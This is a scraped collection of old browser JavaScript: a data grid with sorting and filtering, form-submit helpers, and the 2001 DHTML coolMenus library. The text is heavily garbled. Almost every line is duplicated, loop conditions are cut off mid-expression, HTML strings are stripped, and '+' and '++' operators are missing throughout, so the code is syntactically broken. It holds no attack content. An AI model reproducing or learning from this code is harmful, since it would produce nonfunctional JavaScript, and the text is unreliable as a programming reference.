this.CurrentRecord = 0;
this.DoOnChange();
this.DoOnChange();
if (this.CurrentRecord
if (this.CurrentRecord
this.CurrentRecord ;
this.CurrentRecord ;
if (this.CurrentRecord > 0) {
if (this.CurrentRecord > 0) {
this.CurrentRecord--;
this.CurrentRecord--;
this.CurrentRecord = this.Data.length - 1;
this.CurrentRecord = this.Data.length - 1;
return (this.CurrentRecord == this.Data.length - 1) || (this.Data.length == 0);
return (this.CurrentRecord == this.Data.length - 1) || (this.Data.length == 0);
return (this.CurrentRecord == 0) || (this.Data.length == 0);
return (this.CurrentRecord == 0) || (this.Data.length == 0);
for (i=0; i
for (i=0; i
this.OnChangeList[i].DoOnChange(this);
this.OnChangeList[i].DoOnChange(this);
this.Fields = AFields;
this.Fields = AFields;
this.FieldByName = CSDS_FieldByName;
this.FieldByName = CSDS_FieldByName;
this.First = CSDS_First;
this.First = CSDS_First;
this.Next = CSDS_Next;
this.Next = CSDS_Next;
this.Prior = CSDS_Prior;
this.Prior = CSDS_Prior;
this.Last = CSDS_Last;
this.Last = CSDS_Last;
this.EOF = CSDS_EOF;
this.EOF = CSDS_EOF;
this.BOF = CSDS_BOF;
this.BOF = CSDS_BOF;
this.OnChangeList = new Array();
this.OnChangeList = new Array();
this.DoOnChange = CSDS_DoOnChange;
this.DoOnChange = CSDS_DoOnChange;
this.First();
this.First();
if (a.SortOrder) {
if (a.SortOrder) {
if (a.Value
if (a.Value
if (a.Value > b.Value)
if (a.Value > b.Value)
for (i = 0; i
for (i = 0; i
sortarray[i].row = i;
sortarray[i].row = i;
sortarray[i].Value = id.Rows[i].RowData[ACol];
sortarray[i].Value = id.Rows[i].RowData[ACol];
sortarray[i].SortOrder = id.Cols[ACol].SortOrder;
sortarray[i].SortOrder = id.Cols[ACol].SortOrder;
sortarray.sort(compare);
sortarray.sort(compare);
for (i = 0; i
for (i = 0; i
tmparray[i] = id.Rows[sortarray[i].row];
tmparray[i] = id.Rows[sortarray[i].row];
id.Rows = tmparray;
id.Rows = tmparray;
id.Cols[ACol].SortOrder = !id.Cols[ACol].SortOrder;
id.Cols[ACol].SortOrder = !id.Cols[ACol].SortOrder;
id.RenderTable();
id.RenderTable();
AID.Cells[ARow][ACol].value = ANewValue;
AID.Cells[ARow][ACol].value = ANewValue;
AID.RenderTable();
AID.RenderTable();
for (i = 0; i
for (i = 0; i
if (AID.Filters[i].Col != ACol)
if (AID.Filters[i].Col != ACol)
NewFilters[NewFilters.length] = AID.Filters[i];
NewFilters[NewFilters.length] = AID.Filters[i];
AID.Filters = NewFilters;
AID.Filters = NewFilters;
for (i = 0; i
for (i = 0; i
if (AID.Filters[i].Col == ACol) break;
if (AID.Filters[i].Col == ACol) break;
if (i
if (i
AID.Filters[i].Col = ACol;
AID.Filters[i].Col = ACol;
AID.Filters[i].Value = FilterIndex;
AID.Filters[i].Value = FilterIndex;
AID.Filters[AID.Filters.length] = new Object();
AID.Filters[AID.Filters.length] = new Object();
AID.Filters[AID.Filters.length - 1].Col = ACol;
AID.Filters[AID.Filters.length - 1].Col = ACol;
AID.Filters[AID.Filters.length - 1].Value = FilterIndex;
AID.Filters[AID.Filters.length - 1].Value = FilterIndex;
for (i = 0; i
for (i = 0; i
AID.Rows[i].Filtered = false;
AID.Rows[i].Filtered = false;
for (i = 0; i
for (i = 0; i
LCol = AID.Filters[i].Col;
LCol = AID.Filters[i].Col;
for (j = 0; j
for (j = 0; j
if (AID.Rows[j].RowData[LCol] != AID.Cols[LCol].FilterValues[AID.Filters[i].Value])
if (AID.Rows[j].RowData[LCol] != AID.Cols[LCol].FilterValues[AID.Filters[i].Value])
AID.Rows[j].Filtered = true;
AID.Rows[j].Filtered = true;
AID.Cols[ACol].FilterValue = FilterIndex;
AID.Cols[ACol].FilterValue = FilterIndex;
s = this.TableLook;
s = this.TableLook;
// First row is for operation images
// First row is for operation images
s = this.TitleLook '
's = this.TitleLook '
'' Â '
' Â '
for (i = 0; i
for (i = 0; i
s = this.TitleLook '
''
''
's = this.TitleLook '
'' Â '
' Â '
for (j = 0; j
for (j = 0; j
if (this.Rows[i].RowData[j] == '') {
if (this.Rows[i].RowData[j] == '') {
s = '
' this.Data[i][1] ' | ' this.Data[i][0] ' | |||
' this.Data[i][1] ' | ' this.Data[i][0] ' | |||
'; s = this.TitleLook ' | ||||
'; ' | ' this.Cols[i].Caption ' | ' this.Cols[i].Caption ' | '; ' | '; if (this.Cols[i].SortOrder) if (this.Cols[i].SortOrder) s = ''; s = ''; s = ''; s = ''; s = this.FilterLook ' |
'; s = this.FilterLook ' | ||||
'; if (this.Cols[i].FilterValues.length) { if (this.Cols[i].FilterValues.length) { s = ''; s = ''; if (this.Cols[i].FilterValue == -1) if (this.Cols[i].FilterValue == -1) for (j = 0; j for (j = 0; j if (this.Cols[i].FilterValue == j) { if (this.Cols[i].FilterValue == j) { s = '' this.Cols[i].FilterValues[j] ''; s = '' this.Cols[i].FilterValues[j] ''; s = '' this.Cols[i].FilterValues[j] ''; s = '' this.Cols[i].FilterValues[j] ''; for (i = 0; i for (i = 0; i if (this.Rows[i].RowData.length > 0 && !this.Rows[i].Filtered) { if (this.Rows[i].RowData.length > 0 && !this.Rows[i].Filtered) { s = this.TitleLook ' | ||||
' this.DataLook ' | ||||
 |
s = '
' this.DataLook 'Â';
s = '
' this.DataLook '' this.Rows[i].RowData[j] '';
s = '
' this.DataLook '' this.Rows[i].RowData[j] '';
layerWrite(this.DIVName, null, s);
layerWrite(this.DIVName, null, s);
this.Caption = ACaption;
this.Caption = ACaption;
this.FilterValue = -1;
this.FilterValue = -1;
this.FilterValues = new Array();
this.FilterValues = new Array();
this.SortOrder = true;
this.SortOrder = true;
for (LCol = 0; LCol
for (LCol = 0; LCol
this.Cols[LCol] = new DefineColumn(this.TitleCaptions[LCol]);
this.Cols[LCol] = new DefineColumn(this.TitleCaptions[LCol]);
for (i = 0; i
for (i = 0; i
this.Rows[i] = new Object();
this.Rows[i] = new Object();
this.Rows[i].RowData = this.CellValues[i];
this.Rows[i].RowData = this.CellValues[i];
this.Rows[i].Filtered = false;
this.Rows[i].Filtered = false;
for (j = 0; j
for (j = 0; j
for (k = 0; k
for (k = 0; k
if (this.Cols[j].FilterValues[k] == this.Rows[i].RowData[j]) break;
if (this.Cols[j].FilterValues[k] == this.Rows[i].RowData[j]) break;
if (k == this.Cols[j].FilterValues.length)
if (k == this.Cols[j].FilterValues.length)
this.Cols[j].FilterValues[this.Cols[j].FilterValues.length] = this.Rows[i].RowData[j];
this.Cols[j].FilterValues[this.Cols[j].FilterValues.length] = this.Rows[i].RowData[j];
for (i = 0; i
for (i = 0; i
this.Cols[i].FilterValues.sort(SimpleSort);
this.Cols[i].FilterValues.sort(SimpleSort);
this.Cols = new Array();
this.Cols = new Array();
this.Rows = new Array();
this.Rows = new Array();
this.Filters = new Array();
this.Filters = new Array();
this.CaptionBandVisible = true;
this.CaptionBandVisible = true;
this.FilterBandVisible = true;
this.FilterBandVisible = true;
this.name = AName;
this.name = AName;
this.DIVName = ADIVName;
this.DIVName = ADIVName;
this.ObjectName = AName;
this.ObjectName = AName;
this.TableLook = ATableLook;
this.TableLook = ATableLook;
this.DataLook = ADataLook;
this.DataLook = ADataLook;
this.TitleLook = ATitleLook;
this.TitleLook = ATitleLook;
this.FilterLook = AFilterLook;
this.FilterLook = AFilterLook;
this.TitleCaptions = ATitleCaptions;
this.TitleCaptions = ATitleCaptions;
this.CellValues = ACellValues;
this.CellValues = ACellValues;
this.RenderTable = DynGrid_RenderTable;
this.RenderTable = DynGrid_RenderTable;
this.InitTable = DynGrid_InitTable;
this.InitTable = DynGrid_InitTable;
window.alert('cancel');
window.alert('cancel');
window.onCancel
window.onCancel
return SubmitClickConfirm(AName, AEvent.offsetX ',' AEvent.offsetY, ASubmitValidation
return SubmitClickConfirm(AName, AEvent.offsetX ',' AEvent.offsetY, ASubmitValidation
for (i=0; i
for (i=0; i
if (document.forms.length == 1 || document.forms[i] != GSubmitter) {
if (document.forms.length == 1 || document.forms[i] != GSubmitter) {
for (j=0; j
for (j=0; j
if (objname==document.forms[i].elements[j].name) {
if (objname==document.forms[i].elements[j].name) {
return document.forms[i].elements[j];
return document.forms[i].elements[j];
if (document.forms[i] == GSubmitter) {
if (document.forms[i] == GSubmitter) {
AItem = LocateElement(document.forms[i].elements[j].id);
AItem = LocateElement(document.forms[i].elements[j].id);
GSubmitter=document.SubmitForm;
GSubmitter=document.SubmitForm;
function CheckReturnKey(AKey, AName, AValidation) {
function CheckReturnKey(AKey, AName, AValidation) {
if (AKey == 13)
if (AKey == 13)
LNewRect = new Rect(0, 0, document.body.offsetWidth - 21, document.body.offsetHeight - 21);
LNewRect = new Rect(0, 0, document.body.offsetWidth - 21, document.body.offsetHeight - 21);
IWCLForm.UpdateRects(LNewRect);
IWCLForm.UpdateRects(LNewRect);
if (document.forms[i] != GSubmitter) {
if (document.forms[i] != GSubmitter) {
return SubmitClickConfirm(ImageCurrentName, (AEvent.layerX - 6) ',' (AEvent.layerY - 6)
return SubmitClickConfirm(ImageCurrentName, (AEvent.layerX - 6) ',' (AEvent.layerY - 6)
ALink.onmousedown=ImageClick;
ALink.onmousedown=ImageClick;
LNewRect = new Rect(0, 0, window.innerWidth - 21, window.innerHeight - 21);
LNewRect = new Rect(0, 0, window.innerWidth - 21, window.innerHeight - 21);
Copyright (c) 2001 Thomas Brattli (VVV.dhtmlcentral.com)
Copyright (c) 2001 Thomas Brattli (VVV.dhtmlcentral.com)
eXperience DHTML coolMenus - Get it at VVV.dhtmlcentral.com
eXperience DHTML coolMenus - Get it at VVV.dhtmlcentral.com
Visit VVV.dhtmlcentral.com/coolmenus/
Visit VVV.dhtmlcentral.com/coolmenus/
Tutorial: hXXp://VVV.dhtmlcentral.com/tutorial.asp
Tutorial: hXXp://VVV.dhtmlcentral.com/tutorial.asp
Support: hXXp://VVV.dhtmlcentral.com/forums/forum.asp?FORUM_ID=2&CAT_ID=1&Forum_Title=CoolMenus
Support: hXXp://VVV.dhtmlcentral.com/forums/forum.asp?FORUM_ID=2&CAT_ID=1&Forum_Title=CoolMenus
Opera: This menu is very close to working on Opera, but as far as I could
Opera: This menu is very close to working on Opera, but as far as I could
figure out opera don't support innerHTML or document.createElement() which
figure out opera don't support innerHTML or document.createElement() which
this.x2 = (bw.ns4 || bw.ns6) ? win.innerWidth-1 : win.document.body.offsetWidth;
this.x2 = (bw.ns4 || bw.ns6) ? win.innerWidth-1 : win.document.body.offsetWidth;
if (!fr&&bw.ie) this.x2-=20;
if (!fr&&bw.ie) this.x2-=20;
if (!fr&&bw.ns4) this.x2-=4;
if (!fr&&bw.ns4) this.x2-=4;
if(bw.ns6) this.x2 =1
if(bw.ns6) this.x2 =1
this.y2 = (bw.ns4 || bw.ns6) ? win.innerHeight : win.document.body.offsetHeight;
this.y2 = (bw.ns4 || bw.ns6) ? win.innerHeight : win.document.body.offsetHeight;
if (bw.ns4&&!win.rows) this.x2 =5;
if (bw.ns4&&!win.rows) this.x2 =5;
if (!fr&&bw.ie) this.y2-=4;
if (!fr&&bw.ie) this.y2-=4;
if(bw.ns4&&fr) this.y2 =4
if(bw.ns4&&fr) this.y2 =4
self.status=txt;
self.status=txt;
this.ver=navigator.appVersion; this.agent=navigator.userAgent
this.ver=navigator.appVersion; this.agent=navigator.userAgent
this.dom=document.getElementById?1:0
this.dom=document.getElementById?1:0
this.ie5=(this.ver.indexOf("MSIE 5")>-1 && this.dom)?1:0;
this.ie5=(this.ver.indexOf("MSIE 5")>-1 && this.dom)?1:0;
this.ie6=(this.ver.indexOf("MSIE 6")>-1 && this.dom)?1:0;
this.ie6=(this.ver.indexOf("MSIE 6")>-1 && this.dom)?1:0;
this.ie4=(document.all && !this.dom)?1:0;
this.ie4=(document.all && !this.dom)?1:0;
this.ie=this.ie4||this.ie5||this.ie6
this.ie=this.ie4||this.ie5||this.ie6
this.mac=this.agent.indexOf("Mac")>-1
this.mac=this.agent.indexOf("Mac")>-1
this.opera5=this.agent.indexOf("Opera 5")>-1
this.opera5=this.agent.indexOf("Opera 5")>-1
this.ns6=(this.dom && parseInt(this.ver) >= 5) ?1:0;
this.ns6=(this.dom && parseInt(this.ver) >= 5) ?1:0;
this.ns4=(document.layers && !this.dom)?1:0;
this.ns4=(document.layers && !this.dom)?1:0;
this.bw=(this.ie6 || this.ie5 || this.ie4 || this.ns4 || this.ns6 || this.opera5 || this.dom)
this.bw=(this.ie6 || this.ie5 || this.ie4 || this.ns4 || this.ns6 || this.opera5 || this.dom)
if(bw.ns4 || bw.ns6) obj.scrolledY=obj.win.pageYOffset
if(bw.ns4 || bw.ns6) obj.scrolledY=obj.win.pageYOffset
else obj.scrolledY=obj.win.document.body.scrollTop
else obj.scrolledY=obj.win.document.body.scrollTop
if(obj.scrolledY!=obj.lastScrolled){
if(obj.scrolledY!=obj.lastScrolled){
if(!obj.useframes){
if(!obj.useframes){
for(i=0;i
for(i=0;i
if(obj.usebar) obj.oBar.moveY(obj.oBar.y (obj.scrolledY-obj.lastScrolled))
if(obj.usebar) obj.oBar.moveY(obj.oBar.y (obj.scrolledY-obj.lastScrolled))
obj.lastScrolled=obj.scrolledY; page.y=obj.scrolledY; page.y2=page.y2orig obj.scrolledY
obj.lastScrolled=obj.scrolledY; page.y=obj.scrolledY; page.y2=page.y2orig obj.scrolledY
if(!obj.useframes || bw.ie){ clearTimeout(obj.tim); obj.isover=0; obj.hideSubs(1,0)}
if(!obj.useframes || bw.ie){ clearTimeout(obj.tim); obj.isover=0; obj.hideSubs(1,0)}
}if((bw.ns4 || bw.ns6) && !obj.useframes) setTimeout("cm_checkScrolled(" obj.name ")",200)
}if((bw.ns4 || bw.ns6) && !obj.useframes) setTimeout("cm_checkScrolled(" obj.name ")",200)
if(num.toString().indexOf("%")!=-1){if(w || (check && this.rows)) num=(p.x2*parseFloat(num)/100)
if(num.toString().indexOf("%")!=-1){if(w || (check && this.rows)) num=(p.x2*parseFloat(num)/100)
if(o&&(bw.ns4||bw.ns6)) this.evnt=o
if(o&&(bw.ns4||bw.ns6)) this.evnt=o
this.evnt = bw.dom ? win.document.getElementById(obj) : bw.ie4 ? win.document.all[obj] : bw.ns4 ? nest ? win.document[nest].document[obj] : win.document[obj] : 0;
this.evnt = bw.dom ? win.document.getElementById(obj) : bw.ie4 ? win.document.all[obj] : bw.ns4 ? nest ? win.document[nest].document[obj] : win.document[obj] : 0;
if(!this.evnt) return debug('There seems to be an error with this layer:\nFrame: ' win '\nLayer: ' nest "." obj)
if(!this.evnt) return debug('There seems to be an error with this layer:\nFrame: ' win '\nLayer: ' nest "." obj)
this.css=bw.dom||bw.ie4?this.evnt.style:bw.ns4?this.evnt:0;
this.css=bw.dom||bw.ie4?this.evnt.style:bw.ns4?this.evnt:0;
this.ref=bw.dom || bw.ie4?win.document:bw.ns4?this.css.document:0;
this.ref=bw.dom || bw.ie4?win.document:bw.ns4?this.css.document:0;
this.hideIt=cm_hideIt; this.showIt=cm_showIt; this.writeIt=cm_writeIt; this.setactive=cm_setactive; this.addEvents=cm_addEvents;
this.hideIt=cm_hideIt; this.showIt=cm_showIt; this.writeIt=cm_writeIt; this.setactive=cm_setactive; this.addEvents=cm_addEvents;
this.moveIt=cm_moveIt; this.clipTo=cm_clipTo; if(name) this.parent=name; this.moveY=cm_moveY; this.l=level; this.clipOut=cm_clipOut;
this.moveIt=cm_moveIt; this.clipTo=cm_clipTo; if(name) this.parent=name; this.moveY=cm_moveY; this.l=level; this.clipOut=cm_clipOut;
this.filterIt=cm_filterIt; this.obj = obj "Object";
this.filterIt=cm_filterIt; this.obj = obj "Object";
eval(this.obj "=this"); this.tim=10; this.clipy=0; return this
eval(this.obj "=this"); this.tim=10; this.clipy=0; return this
if(!this.img1) {
if(!this.img1) {
if(bw.ns4) {
if(bw.ns4) {
this.ref.write(text);
this.ref.write(text);
this.ref.close()
this.ref.close()
this.evnt.innerHTML=text
this.evnt.innerHTML=text
function cm_moveY(y){this.y=y; this.css.top=y}
function cm_moveY(y){this.y=y; this.css.top=y}
function cm_moveIt(x,y){this.x=x; this.y=y; this.css.left=this.x;this.css.top=this.y}
function cm_moveIt(x,y){this.x=x; this.y=y; this.css.left=this.x;this.css.top=this.y}
function cm_showIt(){this.css.visibility="visible"; this.vis=1}; function cm_hideIt(){this.css.visibility="hidden"; this.vis=0}
function cm_showIt(){this.css.visibility="visible"; this.vis=1}; function cm_hideIt(){this.css.visibility="hidden"; this.vis=0}
if(!this.vis) return; if(this.clipy
if(!this.vis) return; if(this.clipy
this.tim=setTimeout(this.obj ".clipOut(" px "," w "," ystop "," tim ",'" name "')",tim)
this.tim=setTimeout(this.obj ".clipOut(" px "," w "," ystop "," tim ",'" name "')",tim)
}else{if(bw.ns6){this.hideIt();}; this.clipTo(0,w,ystop,0,1); if(bw.ns6){this.showIt()}}
}else{if(bw.ns6){this.hideIt();}; this.clipTo(0,w,ystop,0,1); if(bw.ns6){this.showIt()}}
function cm_filterIt(f){if(this.evnt.filters[0]) this.evnt.filters[0].Stop(); else this.css.filter=f; this.evnt.filters[0].Apply(); this.showIt(); this.evnt.filters[0].Play();}
function cm_filterIt(f){if(this.evnt.filters[0]) this.evnt.filters[0].Stop(); else this.css.filter=f; this.evnt.filters[0].Apply(); this.showIt(); this.evnt.filters[0].Play();}
if(!name) name=this.name; var tobj=this.parent.m[name]
if(!name) name=this.name; var tobj=this.parent.m[name]
if(tobj.img){if(tobj.img2){if(on) this.ref.images[tobj.img].src=tobj.img2; else this.ref.images[tobj.img].src=tobj.img1}
if(tobj.img){if(tobj.img2){if(on) this.ref.images[tobj.img].src=tobj.img2; else this.ref.images[tobj.img].src=tobj.img1}
if(color){if(bw.dom || bw.ie4) this.css.backgroundColor=color; else if(bw.ns4) if(color=="transparent") color=null; this.css.bgColor=color}
if(color){if(bw.dom || bw.ie4) this.css.backgroundColor=color; else if(bw.ns4) if(color=="transparent") color=null; this.css.bgColor=color}
if(fcolor && !bw.ns4){if(bw.ie4) this.evnt.style.color=fcolor; else if(this.evnt.childNodes[0]) this.evnt.style.color=fcolor
if(fcolor && !bw.ns4){if(bw.ie4) this.evnt.style.color=fcolor; else if(this.evnt.childNodes[0]) this.evnt.style.color=fcolor
}else if(fcolor&&frmmouse){t=this.parent.m[name].text; t=t.replace(re,fcolor); this.writeIt(t); if(on) this.addEvents(name,this.parent.name,tobj.lnk,this.parent.useclick)}
}else if(fcolor&&frmmouse){t=this.parent.m[name].text; t=t.replace(re,fcolor); this.writeIt(t); if(on) this.addEvents(name,this.parent.name,tobj.lnk,this.parent.useclick)}
if(tobj.l==0&&bw.ns6){this.parent.l[0].o[tobj.num].oBorder.hideIt(); this.parent.l[0].o[tobj.num].oBorder.showIt();} //Stupid fix for netscape 6....
if(tobj.l==0&&bw.ns6){this.parent.l[0].o[tobj.num].oBorder.hideIt(); this.parent.l[0].o[tobj.num].oBorder.showIt();} //Stupid fix for netscape 6....
function cm_clipTo(t,r,b,l,w){if(bw.ns4){this.css.clip.top=t;this.css.clip.right=r; this.css.clip.bottom=b;this.css.clip.left=l
function cm_clipTo(t,r,b,l,w){if(bw.ns4){this.css.clip.top=t;this.css.clip.right=r; this.css.clip.bottom=b;this.css.clip.left=l
}else{this.css.clip="rect(" t "," r "," b "," l ")"; if(w){this.css.width=r; this.css.height=b}}; this.width=r; this.height=b}
}else{this.css.clip="rect(" t "," r "," b "," l ")"; if(w){this.css.width=r; this.css.height=b}}; this.width=r; this.height=b}
function cm_addEvents(n,name,url,useclick){
function cm_addEvents(n,name,url,useclick){
this.evnt.onmouseover=new Function(name ".mover('" n "')");
this.evnt.onmouseover=new Function(name ".mover('" n "')");
this.evnt.onmouseout=new Function(name ".mmout('" n "')")
this.evnt.onmouseout=new Function(name ".mmout('" n "')")
if(!url && useclick) ev=new Function(name ".mover('" n "',1)")
if(!url && useclick) ev=new Function(name ".mover('" n "',1)")
else ev=new Function(name ".go('" n "')")
else ev=new Function(name ".go('" n "')")
if(bw.ns4){this.ref.captureEvents(Event.MOUSEDOWN); this.ref.onmousedown=ev}
if(bw.ns4){this.ref.captureEvents(Event.MOUSEDOWN); this.ref.onmousedown=ev}
else this.evnt.onclick=ev
else this.evnt.onclick=ev
this.m[name]=new Object(); var obj=this.m[name]; obj.name=name;
this.m[name]=new Object(); var obj=this.m[name]; obj.name=name;
obj.subs=new Array(); obj.parent=parent; var tt
obj.subs=new Array(); obj.parent=parent; var tt
obj.lnk=(link==0||link=='')?"":link; obj.target=target
obj.lnk=(link==0||link=='')?"":link; obj.target=target
if(parent!="" && parent){this.m[parent].subs[this.m[parent].subs.length]=name; l=this.m[parent].l 1} else l=0
if(parent!="" && parent){this.m[parent].subs[this.m[parent].subs.length]=name; l=this.m[parent].l 1} else l=0
obj.l=l; prop1=l
obj.l=l; prop1=l
if(this.l.length
if(this.l.length
this.l[l]=new Object(); this.l[l].num=0; if(l==0) this.l[l].names=new Array()
this.l[l]=new Object(); this.l[l].num=0; if(l==0) this.l[l].names=new Array()
this.l[l].clip=prop1["clip"]||prop2["clip"]||0; this.l[l].clippx=prop1["clippx"]||prop2["clippx"]||0
this.l[l].clip=prop1["clip"]||prop2["clip"]||0; this.l[l].clippx=prop1["clippx"]||prop2["clippx"]||0
this.l[l].cliptim=prop1["cliptim"]||prop2["cliptim"]||0; this.l[l].filter=prop1["filter"]||prop2["filter"]||0
this.l[l].cliptim=prop1["cliptim"]||prop2["cliptim"]||0; this.l[l].filter=prop1["filter"]||prop2["filter"]||0
this.l[l].border=prop1["border"]||prop2["border"]; this.l[l].maxnum=0
this.l[l].border=prop1["border"]||prop2["border"]; this.l[l].maxnum=0
this.l[l].bordercolor=prop1["bordercolor"]||prop2["bordercolor"];
this.l[l].bordercolor=prop1["bordercolor"]||prop2["bordercolor"];
else if(s=="top") s=3; else if(s=="bottom") s=2; this.l[l].align=s; this.aobj[l]=-1;
else if(s=="top") s=3; else if(s=="bottom") s=2; this.l[l].align=s; this.aobj[l]=-1;
this.l[l].height=prop1["height"]||prop2["height"]; this.l[l].width=prop1["width"]||prop2["width"];
this.l[l].height=prop1["height"]||prop2["height"]; this.l[l].width=prop1["width"]||prop2["width"];
this.l[l].style=prop1["style"]||prop2["style"]; this.l[l].tc=textcolor||prop1.textcolor||prop2.textcolor;
this.l[l].style=prop1["style"]||prop2["style"]; this.l[l].tc=textcolor||prop1.textcolor||prop2.textcolor;
this.l[l].offsetX=String(prop1["offsetX"])!="undefined"?prop1["offsetX"]:prop2["offsetX"]
this.l[l].offsetX=String(prop1["offsetX"])!="undefined"?prop1["offsetX"]:prop2["offsetX"]
this.l[l].offsetY=String(prop1["offsetY"])!="undefined"?prop1["offsetY"]:prop2["offsetY"]
this.l[l].offsetY=String(prop1["offsetY"])!="undefined"?prop1["offsetY"]:prop2["offsetY"]
}if(l==0) this.l[l].names[this.l[l].names.length]=name
}if(l==0) this.l[l].names[this.l[l].names.length]=name
if(parent!="" && parent){obj.num=this.m[parent].subs.length-1}else obj.num=this.l[l].num
if(parent!="" && parent){obj.num=this.m[parent].subs.length-1}else obj.num=this.l[l].num
this.l[l].num ; prop=l
this.l[l].num ; prop=l
obj.width=this.checkp(width?width:prop1.width?prop1.width:prop2.width,1,0,1);
obj.width=this.checkp(width?width:prop1.width?prop1.width:prop2.width,1,0,1);
obj.height=this.checkp(height?height:prop1.height?prop1.height:prop2.height,0,0,1);
obj.height=this.checkp(height?height:prop1.height?prop1.height:prop2.height,0,0,1);
if(parent!="" && parent){if(this.m[parent].subs.length>this.l[l].maxnum) this.l[l].maxnum=this.m[parent].subs.length
if(parent!="" && parent){if(this.m[parent].subs.length>this.l[l].maxnum) this.l[l].maxnum=this.m[parent].subs.length
if(this.m[parent].totheight==0) this.m[parent].totheight=this.l[l].border
if(this.m[parent].totheight==0) this.m[parent].totheight=this.l[l].border
this.m[parent].totheight =obj.height this.l[l].border
this.m[parent].totheight =obj.height this.l[l].border
if(this.m[parent].maxwidth
if(this.m[parent].maxwidth
}else{this.l[l].maxnum=this.l[l].names.length; this.totwidth =obj.width; this.totheight =obj.height
}else{this.l[l].maxnum=this.l[l].names.length; this.totwidth =obj.width; this.totheight =obj.height
this.maxwidth=this.maxwidth>obj.width?this.maxwidth:obj.width; this.maxheight=this.maxheight>obj.height?this.maxwidth:obj.height
this.maxwidth=this.maxwidth>obj.width?this.maxwidth:obj.width; this.maxheight=this.maxheight>obj.height?this.maxwidth:obj.height
else if(bw.ns4){text='' text ''}
else if(bw.ns4){text='' text ''}
if(bw.ns4&&this.useNS4links&&(l==0||!this.useframes) ||(l==0&&img1)){tt=img1&&l==0?this.useclick?this.name ".mover('" name "',1);":this.name ".go('" name "');":"";text='' text ''}
if(bw.ns4&&this.useNS4links&&(l==0||!this.useframes) ||(l==0&&img1)){tt=img1&&l==0?this.useclick?this.name ".mover('" name "',1);":this.name ".go('" name "');":"";text='' text ''}
if(img1){obj.preimg1=new Image(); obj.preimg1.src=img1}; if(img2){obj.preimg2=new Image(); obj.preimg2.src=img2}
if(img1){obj.preimg1=new Image(); obj.preimg1.src=img1}; if(img2){obj.preimg2=new Image(); obj.preimg2.src=img2}
if(img2) obj.img="imgCMenu" name; else obj.img=0; obj.img1=img1||""; obj.img2=img2||""; obj.text=text; obj.subx=-1;
if(img2) obj.img="imgCMenu" name; else obj.img=0; obj.img1=img1||""; obj.img2=img2||""; obj.text=text; obj.subx=-1;
obj.c1=bgcoloroff||prop1.bgcoloroff||prop2.bgcoloroff; obj.c2=bgcoloron||prop1.bgcoloron||prop2.bgcoloron;
obj.c1=bgcoloroff||prop1.bgcoloroff||prop2.bgcoloroff; obj.c2=bgcoloron||prop1.bgcoloron||prop2.bgcoloron;
obj.c3=textcolor||this.l[l].tc; obj.c4=hovercolor||prop1.hovercolor||prop2.hovercolor; obj.suby=-1;
obj.c3=textcolor||this.l[l].tc; obj.c4=hovercolor||prop1.hovercolor||prop2.hovercolor; obj.suby=-1;
obj.mclick=onclick||""; obj.mover=onmouseover||""; obj.mout=onmouseout||"";
obj.mclick=onclick||""; obj.mover=onmouseover||""; obj.mout=onmouseout||"";
obj.totheight=0; obj.maxwidth=0;
obj.totheight=0; obj.maxwidth=0;
if(!name&&cl&&!this.isover){this.isclicked=0; this.hideSubs(1,0,0,0,1); this.aobj[0]=-1; return}
if(!name&&cl&&!this.isover){this.isclicked=0; this.hideSubs(1,0,0,0,1); this.aobj[0]=-1; return}
if((this.m[name].subs.length==0||!this.loaded)||(this.useclick&&!this.isclicked)){if((this.aobj[l 1]==-1||l>=this.l.length-1)&&this.aobj[l]!=-1){this.aobj[l].setactive(0,0,1); this.aobj[l]=-1;}}
if((this.m[name].subs.length==0||!this.loaded)||(this.useclick&&!this.isclicked)){if((this.aobj[l 1]==-1||l>=this.l.length-1)&&this.aobj[l]!=-1){this.aobj[l].setactive(0,0,1); this.aobj[l]=-1;}}
if(this.m[name].mout!="") eval(this.m[name].mout)
if(this.m[name].mout!="") eval(this.m[name].mout)
if(this.useclick){this.isover=0; return}; clearTimeout(this.tim);
if(this.useclick){this.isover=0; return}; clearTimeout(this.tim);
if(!(!bw.ie&&this.useframes&&l==0&&this.aobj1)){ this.isover=0; this.aobj1=0; this.tim=setTimeout(this.name ".hideSubs(1,0,0,0,1)",this.wait)}
if(!(!bw.ie&&this.useframes&&l==0&&this.aobj1)){ this.isover=0; this.aobj1=0; this.tim=setTimeout(this.name ".hideSubs(1,0,0,0,1)",this.wait)}
clearTimeout(this.tim); this.isover=1; var l=this.m[name].l;
clearTimeout(this.tim); this.isover=1; var l=this.m[name].l;
if(this.aobj[l].name==name){
if(this.aobj[l].name==name){
if(this.aobj[l 1]!=-1 && l
if(this.aobj[l 1]!=-1 && l
this.aobj[l 1].setactive(0,0,1); this.aobj[l 1]=-1; this.hideSubs(l 2,1); return
this.aobj[l 1].setactive(0,0,1); this.aobj[l 1]=-1; this.hideSubs(l 2,1); return
}else if((!this.useclick)||(this.useclick&&this.isclicked)) return
}else if((!this.useclick)||(this.useclick&&this.isclicked)) return
}if(this.m[name].mover!="") eval(this.m[name].mover)
}if(this.m[name].mover!="") eval(this.m[name].mover)
var num=this.m[name].num; var obj=this.l[l].o[num]
var num=this.m[name].num; var obj=this.l[l].o[num]
if(this.aobj[l].name!=name){if(this.aobj[l]!=-1) this.aobj[l].setactive(0,0,1); this.aobj[l]=obj; this.aobj[l].name=name; obj.setactive(1,0,1)}
if(this.aobj[l].name!=name){if(this.aobj[l]!=-1) this.aobj[l].setactive(0,0,1); this.aobj[l]=obj; this.aobj[l].name=name; obj.setactive(1,0,1)}
if(l==1)this.aobj1=1; if(l==0 && cl && this.useclick) this.isclicked=1;
if(l==1)this.aobj1=1; if(l==0 && cl && this.useclick) this.isclicked=1;
if(!this.isclicked&&this.useclick) return; if(!this.loaded) return;
if(!this.isclicked&&this.useclick) return; if(!this.loaded) return;
this.showSubs(name,l,num,cl)
this.showSubs(name,l,num,cl)
if(this.isover && !system) return
if(this.isover && !system) return
if(l==1 && this.aobj[0]!=-1&&!sys2){this.aobj[0].setactive(0,0,1);this.aobj[0]=-1}
if(l==1 && this.aobj[0]!=-1&&!sys2){this.aobj[0].setactive(0,0,1);this.aobj[0]=-1}
if(!this.loaded) return; if(cl==1) return
if(!this.loaded) return; if(cl==1) return
for(i=l;i
for(i=l;i
if(hc&&this.hcode){eval(this.hcode); this.hcode=""}
if(hc&&this.hcode){eval(this.hcode); this.hcode=""}
if(cn==5){ this.m[name].subx=0; this.m[name].suby=0; return }//Just in case infinitive loops
if(cn==5){ this.m[name].subx=0; this.m[name].suby=0; return }//Just in case infinitive loops
if(l==1) var pobj=this.l[l-1].o[num].oBorder
